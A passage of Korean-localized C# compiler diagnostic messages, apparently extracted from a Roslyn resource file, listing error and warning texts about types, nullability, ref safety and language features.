'{1}'은(는) '{0}'보다 더 넓은 값 이스케이프 범위를 가지며 '{1}'보다 좁은 이스케이프 범위가 있는 값의 '{0}'을(를) 통한 할당을 허용합니다. + '{0}' 형식에는 기본 인터페이스 멤버의 재추상화가 있으므로 해당 형식을 포함할 수 없습니다. 'Interop 형식 포함' 속성을 false로 설정해 보세요. + 호출할 수 없는 멤버인 '{0}'은(는) 메서드처럼 사용할 수 없습니다. + ref 또는 out 값은 할당 가능한 변수여야 합니다. + 최소 형식 한정자를 제공하려면 SyntaxTreeSemanticModel을 제공해야 합니다. + CallerArgumentExpressionAttribute는 효과가 없습니다. CallerMemberNameAttribute에 의해 재정의됩니다. + 생성기가 초기화하지 못했습니다. + '{0}' 형식이 추가되지 않은 모듈에 정의되었습니다. '{1}' 모듈을 추가해야 합니다. + ':'은 보간을 끝내므로 조건식을 문자열 보간에 직접 사용할 수 없습니다. 조건식을 괄호를 묶으세요. + '{0}'의 '{1}' 네임스페이스가 '{2}'의 '{3}' 형식과 충돌합니다. + '{0}': 정적 생성자에는 매개 변수가 없어야 합니다. + out 매개 변수에는 In 특성을 사용할 수 없습니다. + 동적으로 디스패치된 식에서 'in' 한정자가 있는 인수를 사용할 수 없습니다. + 메서드 그룹 + 비동기 반복기 '{0}'에 'CancellationToken' 형식의 매개 변수가 하나 이상 있지만, 이 중 'EnumeratorCancellation' 특성으로 데코레이트된 매개 변수가 없으므로 생성된 'IAsyncEnumerable<>.GetAsyncEnumerator'에서 취소 토큰 매개 변수가 사용되지 않습니다. + MemberNotNull 특성 + 필드에는 할당되지 않으므로 항상 기본값을 사용합니다. + '{0}' 메서드의 첫 번째 매개 변수가 아닌 매개 변수에 매개 변수 한정자 'this'가 있습니다. + ASCII가 아닌 따옴표는 문자열 리터럴 주위에 사용할 수 없습니다. + base' 참조에는 기본 클래스가 필요합니다. + 예기치 않은 전처리기 지시문이 있습니다. + 가능한 null 값을 unboxing합니다. + '{2}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{1}' 형식 매개 변수로 사용할 수 없습니다. '{2}' 형식 인수의 Null 허용 여부가 'notnull' 제약 조건과 일치하지 않습니다. + '{0}'은(는) 이 어셈블리 외부에 노출되지 않으므로 CLS 규격 검사를 수행하지 않습니다. + '{0}'에 대한 using 지시문은 이전에 다음을 사용하여 전역으로 표시되었습니다. + '{0}': '{1}'이(가) 속성이 아니므로 재정의할 수 없습니다. + C# {2}에서는 '{0}' 형식의 식을 '{1}' 형식의 패턴으로 처리할 수 없습니다. 언어 버전 {3} 이상을 사용하세요. + '{0}' 할당되었지만 사용되지 않았습니다. + '{0}' 연산자는 참조 형식인 것으로 알려지지 않은 형식 매개 변수이므로 'default' 및 '{1}' 형식의 피연산자에 적용할 수 없습니다. + nullable 참조 형식에 대한 주석은 코드에서 '#nullable' 주석 컨텍스트 내에만 사용되어야 합니다. + 튜플 요소 이름 '{0}'은(는) {1} 위치에서만 허용됩니다. + 보호 한정자가 두 개 이상 있습니다. + XML 주석에 잘못된 cref 특성 '{0}' 구문이 있습니다. + 분석기 어셈블리는 현재 실행 중인 버전보다 최신 버전의 컴파일러를 참조합니다. + '{0}'은(는) 언어에서 지원되지 않습니다. + XML 주석에 paramref 태그가 있지만 해당 이름의 매개 변수는 없습니다. + await' 연산자는 비동기 메서드 내에서만 사용할 수 있습니다. 'async' 한정자로 이 메서드를 표시하고 해당 반환 형식을 'Task'로 변경하세요. + 인스턴스 멤버 내에서 ref, out 또는 기본 생성자 '{0}' 매개 변수를 사용할 수 없습니다. + '{0}'을(를) 업데이트할 수 없습니다. 특성 '{1}'이(가) 없습니다. + 부호 없는 오른쪽 시프트 + 최상위 문이 포함된 컴파일 단위가 있으면 /main을 지정할 수 없습니다. + 읽기 전용 형식의 기본 생성자 매개 변수는 ref 또는 out 값으로 사용할 수 없습니다(형식의 init 전용 setter 또는 변수 이니셜라이저 제외). + CallerArgumentExpressionAttribute는 효과가 없습니다. CallerFilePathAttribute에 의해 재정의됩니다. + '{0}': 봉인된 형식에 새 보호된 구성원이 선언되었습니다. + 한 case 레이블('{0}')에서 다른 case 레이블로 제어를 이동할 수 없습니다. + {0}은(는) 대리자 형식이 아니므로 '{1}' 형식으로 변환할 수 없습니다. + 문 본문이 있는 람다 식은 식 트리로 변환할 수 없습니다. + 메서드 '{0}'이(가) 형식 매개 변수 '{1}'의 'default' 제약 조건을 지정하지만 재정의되었거나 명시적으로 구현된 메서드 '{3}'의 해당 형식 매개 변수 '{2}'이(가) 참조 형식 또는 값 형식으로 제한됩니다. + 매개 변수의 '범위가 지정된' 한정자가 재정의되거나 구현된 멤버와 일치하지 않습니다. + 분해의 혼합 선언 및 식 + Microsoft (R) Visual C# 컴파일러 + 줄에 원시 문자열 리터럴의 닫는 줄과 다른 공백이 포함되어 있습니다. '{0}' 및 '{1}' 비교. + 참조 변환, boxing 변환, unboxing 변환, 래핑 변환 또는 null 형식 변환을 통해 '{0}' 형식을 '{1}'(으)로 변환할 수 없습니다. + '{0}'은(는) 평가 목적으로 제공되며, 이후 업데이트에서 변경되거나 제거될 수 있습니다. + 포인터는 한 값에 의해서만 인덱싱되어야 합니다. + '{0}' CollectionBuilderAttribute가 있지만 요소 형식이 없습니다. + 이 컨텍스트에서 함수 포인터 형식을 사용하는 것은 지원되지 않습니다. + 올바른 경고 번호가 아닙니다. + 두 부분 메서드(Partial method) 선언 모두 readonly이거나 readonly가 아니어야 합니다. + byref 지역 및 반환 + 매개 변수 '{0}'에 적용된 CallerArgumentExpressionAttribute는 자체 참조이기 때문에 효과가 없습니다. + 동적 형식의 인수를 로컬 함수 '{1}'의 params 매개 변수 '{0}'에 전달할 수 없습니다. + 포함된 interop 메서드 '{0}'에 본문이 있습니다. + 오버로드된 Add 메서드 중 해당 컬렉션 이니셜라이저 요소에 가장 적합한 '{0}'은(는) 사용되지 않습니다. + 동적 + '{0}' 지역 변수는 선언되지 않으면 사용할 수 없습니다. 지역 변수를 선언하면 '{1}' 필드가 숨겨집니다. + 튜플 요소 이름은(는) 튜플 == 또는 != 연산자의 반대쪽에서 다른 이름이 지정되었거나 이름이 지정되지 않았기 때문에 무시됩니다. + '{0}' 형식의 인라인 배열에 대한 foreach 문은 지원되지 않습니다. + 종료할 때 멤버는 null이 아닌 값을 가져야 합니다. + 인덱스가 인라인 배열의 범위 밖에 있습니다. + 파일의 첫 토큰 뒤에 전처리기 기호를 정의/정의 해제할 수 없습니다. + 컴파일 옵션 '{0}'과(와) '{1}'을(를) 동시에 지정할 수 없습니다. + 최상위 문 + CallerMemberNameAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + checked 모드에서 컴파일하면 작업이 오버플로됩니다. + 네임스페이스 별칭 한정자 + 인수가 없는 Throw 문은 Catch 절 외부에서 사용할 수 없습니다. + 패턴 일치에 대한 피연산자가 잘못되었습니다. 값이 필요하지만 '{0}'을(를) 찾았습니다. + '{0}'은(는) ref struct이므로 비동기 또는 반복기 메서드의 '{0}' 형식 열거자에서 foreach 문을 수행할 수 없습니다. + 매개 변수를 읽을 수 없습니다. 이 매개 변수를 사용하여 해당 이름으로 속성을 초기화했는지 확인하세요. + 상수 값 '{0}'이(가) 런타임에 '{1}'을(를) 오버플로할 수 있습니다(재정의하려면 'unchecked' 구문 사용). + '{0}' 이벤트가 사용되지 않았습니다. + XML 주석이 유효한 언어 요소에 배치되어 있지 않습니다. + XML 문서 파일 쓰기 오류: {0} + 제네릭 + '{0}' 인터페이스는 'CoClassAttribute'로 표시되어 있고 'ComImportAttribute'로 표시되어 있지 않습니다. + '{0}'의 필드는 '{1}'이므로 ref 또는 out 값으로 사용할 수 없습니다. + 할당되지 않은 자동 구현 속성 '{0}'을(를) 사용하고 있는 것 같습니다. + '{0}' 필드가 사용되지 않았습니다. + 이 레이블은 참조되지 않았습니다. + '{0}'은(는) 중복 명명된 특성 인수입니다. + '{0}' 형식의 변수에 참조를 만들 수 없습니다. + await' 연산자는 'async' 한정자로 표시된 메서드나 람다 식 내에 포함된 경우에만 사용할 수 있습니다. + 식 트리에는 튜플 리터럴을 사용할 수 없습니다. + 같은 변수와 비교했습니다. + 함수 포인터는 명명된 인수를 사용하여 호출할 수 없습니다. + 개체 및 컬렉션 이니셜라이저 식은 대리자 생성 식에 적용할 수 없습니다. + XML 주석에는 '{0}'에 중복된 typeparam 태그가 있습니다. + '{0}': 파생 형식에서 또는 파생 형식으로 사용자 정의 변환이 허용되지 않습니다. + 개체 또는 컬렉션 이니셜라이저가 가능한 null 멤버를 암시적으로 역참조합니다. + 형식은 인터페이스 멤버를 구현하지 않습니다. 기본 형식에 의해 구현된 인터페이스의 참조 형식 Null 허용 여부가 일치하지 않습니다. + '{0}'은(는) 유효한 서식 지정자가 아닙니다. + 'ref 조건 연산자를 포함하는 식에는 'await'를 사용할 수 없습니다. + '{0}' 매개 변수를 읽을 수 없습니다. 이 매개 변수를 사용하여 해당 이름으로 속성을 초기화했는지 확인하세요. + 비동기 반복기 멤버에 'CancellationToken' 형식의 매개 변수가 하나 이상 있지만, 이 중 'EnumeratorCancellation' 특성으로 데코레이트된 매개 변수가 없으므로 생성된 'IAsyncEnumerable<>.GetAsyncEnumerator'에서 취소 토큰 매개 변수가 사용되지 않음 + 단순한 이름 '{0}'이(가) 같은 어셈블리를 이미 가져왔습니다. 참조 중 하나(예: '{1}')를 제거하거나 side-by-side를 사용할 수 있도록 서명하세요. + await' 연산자는 정적 스크립트 변수 이니셜라이저에서 사용할 수 없습니다. + 지정한 형식 매개 변수가 있는 '{0}' 인터페이스를 사용하면 '{1}' 메서드에 ref 및 out만 다른 오버로드가 포함되므로 해당 인터페이스를 상속할 수 없습니다. + 이름 '{0}'은(는) 'equals'의 왼쪽에 올 수 있는 범위에 속하지 않습니다. 'equals'의 양쪽에 있는 식을 서로 바꾸세요. + '{0}' 형식에서 '{1}' 형식으로의 표준 변환이 없기 때문에 CallerFilePathAttribute를 적용할 수 없습니다. + 대/소문자만 다른 '{0}' 식별자가 CLS 규격이 아닙니다. + Null 리터럴을 null을 허용하지 않는 참조 형식으로 변환할 수 없습니다. + 일관성 없는 액세스 가능성: '{1}' 속성 형식이 '{0}' 속성보다 액세스하기 어렵습니다. + null은 유효한 매개 변수 이름이 아닙니다. 인스턴스 메소드의 수신자에 액세스하려면 빈 문자열을 매개 변수 이름으로 사용하세요. + '{0}' Win32 리소스 파일을 여는 동안 오류가 발생했습니다. '{1}' + 형식 지정자가 비어 있습니다. + 반환 형식의 null 허용 여부가 재정의된 멤버와 일치하지 않습니다(null 허용 여부 특성 때문일 수 있음). + 부호 확장된 피연산자에 비트 OR 연산자를 사용했습니다. + 이 형식의 값은 'null'과 같을 수 없으므로 식의 결과가 항상 동일합니다. + 투명 식별자 멤버가 '{1}'의 '{0}' 필드에 액세스하지 못했습니다. 데이터가 쿼리 패턴 구현에 쿼리되었습니까? + 대리자 제네릭 형식 제약 조건 + 매개 변수 형식에서 참조 형식의 null 허용 여부가 구현된 멤버와 일치하지 않음(null 허용 여부 특성 때문일 수 있음) + 'INumberBase<T>'에서 상속되거나 확장되므로 '{0}' 숫자 상수 또는 관계형 패턴을 사용할 수 없습니다. 형식 패턴을 사용하여 특정 숫자 형식으로 좁히는 것이 좋습니다. + '{0}' 형식에서 '{1}' 형식으로의 표준 변환이 없기 때문에 CallerLineNumberAttribute를 적용할 수 없습니다. + '이 컨텍스트에서는 'extern 별칭'이 유효하지 않습니다. + 기본 유형 '{0}'의 필수 구성원 목록 형식이 잘못되어 해석할 수 없습니다. 이 생성자를 사용하려면 'SetsRequiredMembers' 특성을 적용하세요. + 모든 필드가 할당되기 전에는 'this' 개체를 생성자에서 사용할 수 없습니다. 할당되지 않은 필드가 자동으로 기본 설정되도록 언어 버전을 업데이트하는 것이 좋습니다. + 조건 연산자 값은 모두 ref 값이거나 모두 ref 값이 아니어야 합니다. + 이 컨텍스트에서는 new()를 사용할 수 없습니다. + '{0}' 형식은 중첩 형식이기 때문에 해당 형식을 포함할 수 없습니다. 'Interop 형식 포함' 속성을 false로 설정하세요. + 어셈블리의 CLSCompliant 특성과 다른 모듈의 CLSCompliant 특성을 지정할 수 없습니다. + 반환 유형에서 참조 유형의 Null 허용 여부가 가로챌 수 있는 메서드와 일치하지 않습니다. + 필수 구성원 '{0}'은(는) 개체 이니셜라이저 또는 특성 생성자에서 설정해야 합니다. + 인라인 배열 인덱서는 요소 액세스 식에 사용되지 않습니다. + {0}. 오류 CS{1}도 참조하세요. + 기본 형식이 잘못되었습니다. + 필수 구성원 '{0}'은(는) 포함 유형 '{1}'보다 덜 표시되거나 setter가 덜 표시될 수 없습니다. + '{0}' 형식 이름이 '{1}' 형식에 없습니다. + 다음 include 태그와 짝이 맞는 요소를 찾을 수 없습니다. + 기능 '{0}'은(는) 실험적이며 지원되지 않습니다. 사용하도록 설정하려면 '/features:{1}'을(를) 사용하세요. + 자동으로 구현된 속성은 명시적으로 할당되기 전에 읽혀서 'default'의 선행 암시적 할당이 발생합니다. + 형식은 Object.Equals(object o)를 재정의하지만 Object.GetHashCode()를 재정의하지 않습니다. + 비동기 스트림 + goto case' 값은 스위치 형식으로 암시적으로 변환할 수 없습니다. + /doc 컴파일러 옵션을 지정했지만 하나 이상의 구문에 주석이 없습니다. + '{0}': 상속된 '{1}' 멤버는 virtual, abstract 또는 override로 표시되지 않았으므로 재정의할 수 없습니다. + '{0}' 매개 변수 이름이 중복되었습니다. + '{0}': 정적 생성자에서는 액세스 한정자를 사용할 수 없습니다. + 'System.Runtime.CompilerServices.RequiredMemberAttribute'를 사용하지 마세요. 대신 필수 필드 및 특성에 'required' 키워드를 사용하세요. + 예기치 않게 바인딩되지 않은 제네릭 이름이 사용되었습니다. + 'in' 매개 변수에 해당하는 인수의 'ref' 한정자는 'in'에 해당합니다. 대신 'in'을 사용하는 것이 좋습니다. + '{0}' 접근자는 '{2}' 형식에 대해 '{1}' 인터페이스 멤버를 구현할 수 없습니다. 명시적 인터페이스 구현을 사용하세요. + 두 부분 메서드(Partial Method) 선언 모두 확장 메서드이거나 확장 메서드가 아니어야 합니다. + catch 또는 finally가 필요합니다. + new 식에는 형식 뒤에 인수 목록이나 (), [] 또는 {}가 필요합니다. + 변수가 선언되었지만 사용되지 않았습니다. + '{0}'은(는) 인식할 수 없는 RefSafetyRulesAttribute 버전이 있는 모듈에 정의되어 있으며 '11'이 필요합니다. + 파일 끝(EOF)이 있습니다. '*/'가 필요합니다. + {1} 컴파일에서 '{0}' 형식의 컴파일을 참조할 수 없습니다. + 'ref readonly' 매개 변수에 기본값이 지정되었지만 'ref readonly'는 참조에만 사용해야 합니다. 매개 변수를 'in'으로 선언하는 것이 좋습니다. + '{0}'은(는) 상속된 '{1}' 멤버를 숨깁니다. 현재 멤버가 해당 구현을 재정의하도록 하려면 override 키워드를 추가하세요. 그렇지 않으면 new 키워드를 추가하세요. + '{0}'은(는) '{1}' 인터페이스 멤버를 구현하지 않습니다. '{2}'은(는) public이 아니므로 인터페이스 멤버를 구현할 수 없습니다. + 파일 로컬 형식 '{0}'은(는) 파일 로컬이 아닌 형식 '{1}'을(를) 멤버 시그니처에 사용할 수 없습니다. + 인터페이스 '{0}'은(는) 형식 인수로 사용할 수 없습니다. 정적 멤버 '{1}'은(는) 인터페이스에 가장 구체적인 구현이 없습니다. + {0} SemanticModel이 필요합니다. + ref 조건식 + 기본 연산자 + void' 형식의 값을 할당할 수 없습니다. + 기본 리터럴 + '{0}'은(는) 인터페이스 멤버 '{1}'을(를) 구현하지 않습니다. '{2}'은(는) '{1}'을(를) 구현할 수 없습니다. + '{0}' 형식의 식을 '{1}' 형식의 패턴으로 처리할 수 없습니다. + 모든 필드가 할당되기 전에는 'this' 개체를 사용할 수 없습니다. 할당되지 않은 필드의 기본값을 자동으로 설정하려면 언어 버전 '{0}'(으)로 업데이트하는 것이 좋습니다. + Win32 리소스 파일과 Win32 아이콘 옵션은 서로 충돌하므로 함께 지정할 수 없습니다. + 공개 서명이 지정된 경우 특성이 무시됩니다. + 형식 이름 '{0}'은(는) 컴파일러에서 사용하도록 예약되어 있습니다. + 명시적 인터페이스 지정자의 참조 형식 Null 허용 여부가 형식에 의해 구현된 인터페이스와 일치하지 않습니다. + 애플리케이션 진입점에는 'UnmanagedCallersOnly' 특성을 지정할 수 없습니다. + 이름 '{0}'은(는) 'equals'의 오른쪽에 올 수 있는 범위에 속하지 않습니다. 'equals'의 양쪽에 있는 식을 서로 바꾸세요. + '{0}': 상속된 멤버 '{1}'을(를) 재정의할 때 튜플 요소 이름을 변경할 수 없습니다. + 프로그램에서 사용하는 사용자 문자열의 결합된 길이가 허용 한도를 초과합니다. 문자열 리터럴의 사용을 줄여 보세요. + {가 필요합니다. + 접미사 'l'은 숫자 '1'과 쉽게 혼동됩니다. + 이 위치에 예기치 않은 문자가 있습니다. + '{0}' 닫기 태그에 '>' 또는 '/>'가 필요합니다. + Throw된 값이 null일 수 있습니다. + 형식 매개 변수와 짝이 맞는 형식 매개 변수 태그가 XML 주석에 없습니다. 다른 형식 매개 변수는 짝이 맞는 태그가 있습니다. + 경고 작업 enable + global::'은 별칭이 아니라 전역 네임스페이스를 항상 참조하므로 별칭 이름을 'global'로 정의하지 않는 것이 좋습니다. + '{0}' 매개 변수에 적용되는 CallerMemberNameAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + 특성 생성자 매개 변수 '{0}'이(가) 유효한 특성 매개 변수 형식이 아닌 '{1}' 형식을 사용하고 있습니다. + 가변성(variance) 한정자가 잘못되었습니다. 인터페이스 및 대리자 형식 매개 변수만 variant로 지정할 수 있습니다. + 일부 조건으로 종료할 때 매개 변수는 null이 아닌 값을 가져야 합니다. + '{0}' 형식의 값에는 관계형 패턴을 사용할 수 없습니다. + 봉인된 'Object.ToString'이 있는 레코드에서 상속은 C# {0}에서 지원되지 않습니다. 언어 버전 '{1}'이상을 사용하세요. + ref, out 또는 배열 차수만 다른 오버로드된 메서드는 CLS 규격이 아닙니다. + '{0}': volatile 필드는 '{1}' 형식일 수 없습니다. + stackalloc 식에서 형식 뒤에는 []가 있어야 합니다. + 잘못된 익명 형식 멤버 선언자입니다. 익명 형식 멤버는 멤버 할당, 단순한 이름 또는 멤버 액세스로 선언되어야 합니다. + 튜플에 'void' 형식의 값을 포함할 수 없습니다. + ref 매개 변수에 Out 특성만 지정할 수는 없습니다. In 특성도 지정해야 합니다. + '{0}' 소스 파일을 여러 번 지정했습니다. + 형식이 '{1}'인 '{0}' 속성의 멤버는 값 형식이므로 개체 이니셜라이저를 사용하여 할당할 수 없습니다. + collection expressions + '{0}': 구조체는 기본 클래스 생성자를 호출할 수 없습니다. + 형식은 컬렉션 패턴을 구현하지 않습니다. 멤버가 모호합니다. + stackalloc는 catch 또는 finally 블록에 사용할 수 없습니다. + 문자열 리터럴이 필요하지만 여는 큰따옴표가 없습니다. + '{0}'은(는) extern일 수 없으며 본문을 선언합니다. + <switch 식> + 전처리기 식이 잘못되었습니다. + 현재 컨텍스트에서는 'this' 키워드를 사용할 수 없습니다. + 람다 반환 유형 + SyntaxTree는 #load 지시문에서 생성되었으며 직접 제거하거나 바꿀 수 없습니다. + 인식할 수 없는 #pragma 지시문입니다. + 익명 형식에는 동일한 이름의 속성을 여러 개 사용할 수 없습니다. + 형식 매개 변수 '{1}'에 'unmanaged' 제약 조건이 있으므로 '{1}'은(는) '{0}'에 대한 제약 조건으로 사용할 수 없습니다. + '{0}' 이름이 메타데이터에 허용된 최대 길이를 초과했습니다. + using static' 지시문을 사용하여 별칭을 선언할 수는 없습니다. + 같은 변수에 할당했습니다. 다른 요소를 할당하시겠습니까? + 이벤트가 사용되지 않습니다. + 전역 네임스페이스에서 인터셉터를 선언할 수 없습니다. + '{0}' 형식 변수에서 비동기 foreach 문을 수행할 수 없습니다. '{0}'에는 '{1}'의 적합한 공개 인스턴스 또는 확장 정의가 없기 때문입니다. + '{0}' 이벤트는 += 또는 -=의 왼쪽에만 올 수 있습니다. + 기본 매개 변수 값이 대상 대리자 형식과 일치하지 않습니다. + Include 태그가 잘못되었습니다. + 함수 포인터 + '{0}' 형식에 대한 형식 전달자가 '{1}' 어셈블리에서 순환됩니다. + '{0}' 형식에 이미 '{1}'에 대한 정의가 포함되어 있습니다. + 식 트리에는 선택적 인수를 사용하는 호출을 포함할 수 없습니다. + '{0}' 연산자는 '{1}' 피연산자에 적용할 수 없습니다. + '{0}' 메타데이터 파일을 열 수 없습니다. {1} + '{0}' 형식의 null과 비교하면 결과는 항상 'false'입니다. + 모듈(특성 대상 지정자) + 재귀 패턴 + 이 경고는 두 인터페이스 메서드에서 특정 매개 변수가 ref로 표시되는지 out으로 표시되는지 여부만 다른 경우에 생성될 수 있습니다. 런타임에 호출되는 메서드가 명확하거나 보장되지 않으므로 이 경고를 방지하도록 코드를 변경하는 것이 좋습니다. + +C#에서는 out과 ref를 구분하지만 CLR에서는 동일한 것으로 간주합니다. 따라서 인터페이스를 구현할 메서드를 결정할 때 CLR에서는 하나만 선택합니다. + +컴파일러에서 두 메서드를 구분할 수 있는 몇 가지 방법을 지정하세요. 예를 들어 다른 이름을 지정하거나 둘 중 하나에 대해 추가 매개 변수를 제공할 수 있습니다. + 파일의 첫 토큰 뒤에 #r을 사용할 수 없습니다. + '{0}'은(는) 인스턴스 인터페이스 멤버 '{1}'을(를) 구현하지 않습니다. '{2}'은(는) 정적이므로 인터페이스 멤버를 구현할 수 없습니다. + '{0}'은(는) 인터페이스 멤버 '{1}'을(를) 구현하지 않습니다. '{2}'은(는) C# {3}에서 비공개 멤버를 암시적으로 구현할 수 없습니다. 언어 버전 '{4}' 이상을 사용하세요. + 참조 '{0}'에 의해 매개 변수를 반환하지만 참조 매개 변수가 아닙니다. + 값을 사용하여 참조 형식 변수를 초기화할 수 없습니다. + 명명된 인수 + 반환 형식에는 '{0}' 한정자 하나만 사용할 수 있습니다. + 미리 정의된 형식 '{0}'이(가) 전역 별칭의 여러 어셈블리에 정의되었습니다. '{1}'의 정의를 사용합니다. + 람다 식 트리에는 참조로 반환하는 메서드, 속성 또는 인덱서에 대한 호출을 사용할 수 없습니다. + 자동 기본 구조체 필드 + 부분 메서드에는 'abstract' 한정자가 있을 수 없습니다. + '{0}'은(는) 다른 참조 형식 Null 허용 여부를 사용하는 '{1}' 형식에 대한 인터페이스 목록에 이미 나열되어 있습니다. + 특성과 특성 값 사이에 등호가 없습니다. + 유추된 대리자 형식이 변경되었으므로 업데이트할 수 없습니다. + '{0}' 요소의 튜플을 '{1}' 변수로 분해할 수 없습니다. + '{0}'은(는) 상속된 추상 멤버 '{1}'을(를) 구현하지 않습니다. + 분석기 구성 파일 여러 개가 동일한 디렉터리('{0}')에 있을 수 없습니다. + 'Inline arrays' 언어 기능은 요소 필드가 'ref' 필드이거나 형식 인수로 유효하지 않은 형식이 있는 인라인 배열 형식에 대해 지원되지 않습니다. + 포함된 레코드가 봉인되지 않았으므로 '{0}'을(를) 봉인할 수 없습니다. + '{0}' 변수 형식에 new() 제약 조건이 없으므로 이 변수 형식의 인스턴스를 만들 수 없습니다. + 이니셜라이저가 직간접적으로 정의를 참조하고 있어 '{0}' 형식을 유추할 수 없습니다. + '{0}': 대상 런타임이 재정의에서 공변(covariant) 형식을 지원하지 않습니다. 재정의된 멤버 '{1}'과(와) 일치하려면 '{2}' 형식이어야 합니다. + #load만 스크립트에서 허용됩니다. + 명명되지 않은 배열 형식만 다른 오버로드된 '{0}' 메서드는 CLS 규격이 아닙니다. + 매개 변수의 참조 종류 한정자가 재정의되었거나 구현된 멤버의 해당 매개 변수와 일치하지 않습니다. + 이는 대상보다 더 넓은 값 이스케이프 범위를 가지는 값을 ref-assign하며 더 좁은 이스케이프 범위가 있는 값의 대상을 통한 할당을 허용합니다. + 필드와 유사한 이벤트 '{0}'이(가) 'readonly'일 수 없습니다. + 특성 인수는 특성 매개 변수 형식의 배열 생성 식, 상수 식 또는 typeof 식이어야 합니다. + 읽기 전용 구조체 + <Throw 식> + 부분 형식(Partial Type) + 지정한 식은 제공한 패턴과 일치하지 않습니다. + 제네릭 매개 변수는 {0} 참조여야 할 때의 정의입니다. + An expression tree may not contain a collection expression. + 매개 변수 '{0}'이(가) null이 아니기 때문에 반환 값은 null이 아니어야 합니다. + lvalue인 구문 'var (...)'가 예약되었습니다. + '{0}'이(가) '{1}'의 필요한 메서드를 재정의하지 않습니다. + 구조체 멤버는 참조로 'this' 또는 다른 인스턴스 멤버를 반환합니다. + 지시 파일에 지정되었기 때문에 /noconfig 옵션을 무시합니다. + '{0}'은(는) 정적 인터페이스 멤버 '{1}'을(를) 구현하지 않습니다. '{2}'은(는) 정적이 아니므로 인터페이스 멤버를 구현할 수 없습니다. + '{0}': 속성이나 인덱서에는 void 형식을 사용할 수 없습니다. + '{0}': 상속된 '{1}' 멤버는 봉인되어 있으므로 재정의할 수 없습니다. + 반복기에는 ref, in 또는 out 매개 변수를 사용할 수 없습니다. + 인덱싱된 속성 '{0}'에 모든 선택적 인수가 있어야 합니다. + 제어가 호출자에게 반환되기 전에 필드 '{0}'이(가) 완전히 할당되어야 합니다. 필드를 자동으로 기본 설정하려면 언어 버전 '{1}'으로 업데이트하는 것이 좋습니다. + 두 부분 메서드 선언의 반환 형식이 같아야 합니다. + 람다 매개 변수가 일관성 없이 사용되었습니다. 매개 변수 형식은 모두 명시적이거나 암시적이어야 합니다. + 분석기 어셈블리를 로드할 수 없습니다. + 암시적으로 형식화된 삭제 형식을 유추할 수 없습니다. + 인터페이스 목록에 있는 '{0}' 형식이 인터페이스가 아닙니다. + 인터셉터블 및 인터셉터 메서드의 서명이 일치하지 않습니다. + 예기치 않은 'record' 키워드가 있습니다. 'record struct' 또는 'record class'를 사용할까요? + 요소 + 'parameter null-checking' 기능은 지원되지 않습니다. + __arglist 매개 변수는 매개 변수 목록의 마지막 매개 변수여야 합니다. + {0}(은)는 유효한 C# 복합 할당 연산이 아닙니다. + 식 트리에는 'is' 패턴 일치 연산자를 사용할 수 없습니다. + 특성 생성자 '{0}'은(는) 'in' 또는 'ref readonly' 매개 변수가 있으므로 사용할 수 없습니다. + ref foreach 반복 변수 + '{2}'에서 '{3}(으)로 변환하는 동안 모호한 사용자 정의 변환 '{0}' 및 '{1}'이(가) 발생했습니다. + Interop 형식 '{0}'을(를) 포함할 수 없습니다. 적용 가능한 인터페이스를 대신 사용하세요. + 이 식은 참조로 할당 중이므로 '{0}' 형식이어야 합니다. + 어셈블리에는 분석기가 포함되어 있지 않습니다. + 함수 포인터 '{1}'과(와) 일치하는 '{0}'에 대한 오버로드가 없습니다. + 음수 인덱스를 사용하여 배열을 인덱싱했습니다. + 참조로 반환하는 속성에 set 접근자를 사용할 수 없습니다. + 명령줄 구문 오류: '{0}' 옵션에 대한 ':<number>'이(가) 없습니다. + '{0}' 형식에 대한 참조는 '{1}'에 정의된 것으로 되어 있지만 찾을 수 없습니다. + using 또는 lock 문의 인수인 지역 변수 '{0}'에 대한 할당이 잘못되었을 수 있습니다. 지역 변수의 원래 값에 대해 Dispose 호출 또는 잠금 해제가 수행됩니다. + {0}개 요소가 있는 튜플을 '{1}' 형식으로 변환할 수 없습니다. + 특성 값에 '<' 문자를 사용할 수 없습니다. + 관리되는 유형('{0}')의 주소를 사용하거나 크기를 가져오거나 포인터를 선언합니다. + 레코드의 복사 생성자는 기준의 복사 생성자를 호출하거나, 레코드가 개체에서 상속되는 경우 매개 변수 없는 개체 생성자를 호출해야 합니다. + #pragma checksum 구문이 잘못되었습니다. #pragma checksum "filename" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..."이어야 합니다. + 불변(invariantly) + '{0}'은(는) 평가 목적으로 제공되며, 이후 업데이트에서 변경되거나 제거될 수 있습니다. 계속하려면 이 진단을 표시하지 않습니다. + {0} 전체 범위를 사용한 구문 트리 내에 위치가 없습니다. + 컴파일러에 필요한 '{0}' 형식을 찾을 수 없으므로 새 확장 메서드를 정의할 수 없습니다. System.Core.dll의 참조가 있는지 확인하세요. + 반환 형식에 있는 참조 형식 Null 허용 여부가 부분 메서드 선언과 일치하지 않습니다. + 사용자 정의 논리 연산자('{0}')를 단락(short circuit) 연산자로 사용하려면 동일한 반환 형식과 매개 변수 형식을 사용해야 합니다. + 같은 변수를 비교했습니다. 다른 요소를 비교하시겠습니까? + 보간에서 줄 바꿈 + 'scoped' 한정자는 무시 항목과 함께 사용할 수 없습니다. + 대/소문자만 다른 식별자가 CLS 규격이 아닙니다. + {0} 매개 변수에 람다의 매개 변수 한정자가 있지만 대상 대리자 형식에는 없습니다. + 실수 리터럴이 잘못되었습니다. + 이미 고정된 식의 주소를 가져오는 데 fixed 문을 사용할 수 없습니다. + '{0}'에는 CLS 규격 형식만 사용하는 액세스 가능 생성자가 없습니다. + 10진수 상수 식을 계산하지 못했습니다. + '{1}'(으)로 종료할 때 '{0}' 매개 변수는 null이 아닌 값을 가져야 합니다. + 목록 패턴 + '{0}' 레이블이 중복되었습니다. + 읽기 전용 필드에는 할당할 수 없습니다. 단, 필드가 정의된 형식의 생성자 또는 초기값 전용 setter나 변수 이니셜라이저에서는 예외입니다. + 생성자를 종료할 때 null을 허용하지 않는 {0} '{1}'에 null이 아닌 값을 포함해야 합니다. {0}을(를) null 허용으로 선언해 보세요. + using 별칭 '{0}'을(를) 이전에 이 네임스페이스에서 사용했습니다. + {0} 인수는 '{1}' 키워드와 함께 전달해야 합니다. + 인스턴스 멤버 내에서 '{0}' 형식의 기본 생성자 매개 변수를 사용할 수 없습니다. + 매개 변수 '{0}'에 적용된 